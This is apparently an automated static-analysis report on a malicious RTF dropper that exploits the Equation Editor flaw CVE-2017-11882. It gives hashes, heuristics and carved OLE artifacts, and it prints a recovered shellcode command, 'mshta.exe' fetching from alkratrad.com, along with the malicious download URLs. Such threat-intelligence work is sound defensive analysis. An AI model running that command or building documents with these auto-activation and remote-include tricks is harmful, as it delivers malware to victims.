Rtf.Dropper.Agent-7121184-0 — RTF malware analysis

Static analysis result for SHA-256 71858482689deb1f…

MALICIOUS

RTF

1.69 MB Created: 2017-11-19 09:10:00 First seen: 2018-02-07
MD5: 4ba3a1e322a575dfa2716ea30118d106 SHA-1: 95ea0f7790f4dd137534e3d5f3a38f7ef66abaa3 SHA-256: 71858482689deb1f8e42b80d433ce08783fe02269e5593ab1a3b7acd44ae1a21
282 Risk Score

Malware Insights

Rtf.Dropper.Agent-7121184-0 · confidence 95%

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains multiple indicators of malicious activity, including OLE object data and a critical Equation Editor vulnerability exploit. The presence of ` tf_include_remote` pointing to `http://alkratrad.com/b/t.php?stats=send&thread=0` strongly suggests the document is designed to download and execute a secondary payload. ClamAV also detected this file as Rtf.Dropper.Agent-7121184-0.

Heuristics 7

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • ClamAV: Rtf.Dropper.Agent-7121184-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Dropper.Agent-7121184-0
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • INCLUDETEXT/INCLUDEPICTURE remote URL high RTF_INCLUDE_REMOTE
    RTF document uses INCLUDETEXT or INCLUDEPICTURE with an http:// URL — Word can fetch the remote content on open depending on Office version and external-content settings, enabling remote template injection, NTLM capture via redirects, or payload delivery
  • OLE object data medium RTF_OBJDATA
    RTF contains 3 \objdata section(s) — embedded OLE objects
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://alkratrad.com/b/t.php?stats=send&thread=0 In RTF body
    • http://alkratrad.com/b/t.php?d=0&&In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000c49d.bin rtf-objdata-decoded RTF \objdata at offset 0xC49D 3545 bytes
SHA-256: c804efce3e3716a4c6556474ab938f5010a841c43ff8d776da5614d6384d56e9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://alkratrad.com/b/t.php?d=0&& Static shellcode analysis recovered command string(s): mshta.exe http://alkratrad.com/b/t.php?d=0&&C
objdata_01_off0000e311.bin rtf-objdata-decoded RTF \objdata at offset 0xE311 2598 bytes
SHA-256: 14885ff32ec6635e55fe8911d68d55b021cc0eda3f1bd654c113ff78622bcf78
objdata_02_off0000fa3f.bin rtf-objdata-decoded RTF \objdata at offset 0xFA3F 2723 bytes
SHA-256: b86a49ddce9ef04c152d57631640898e60eb601eb53fce0d8cbdc0a24d53fbab

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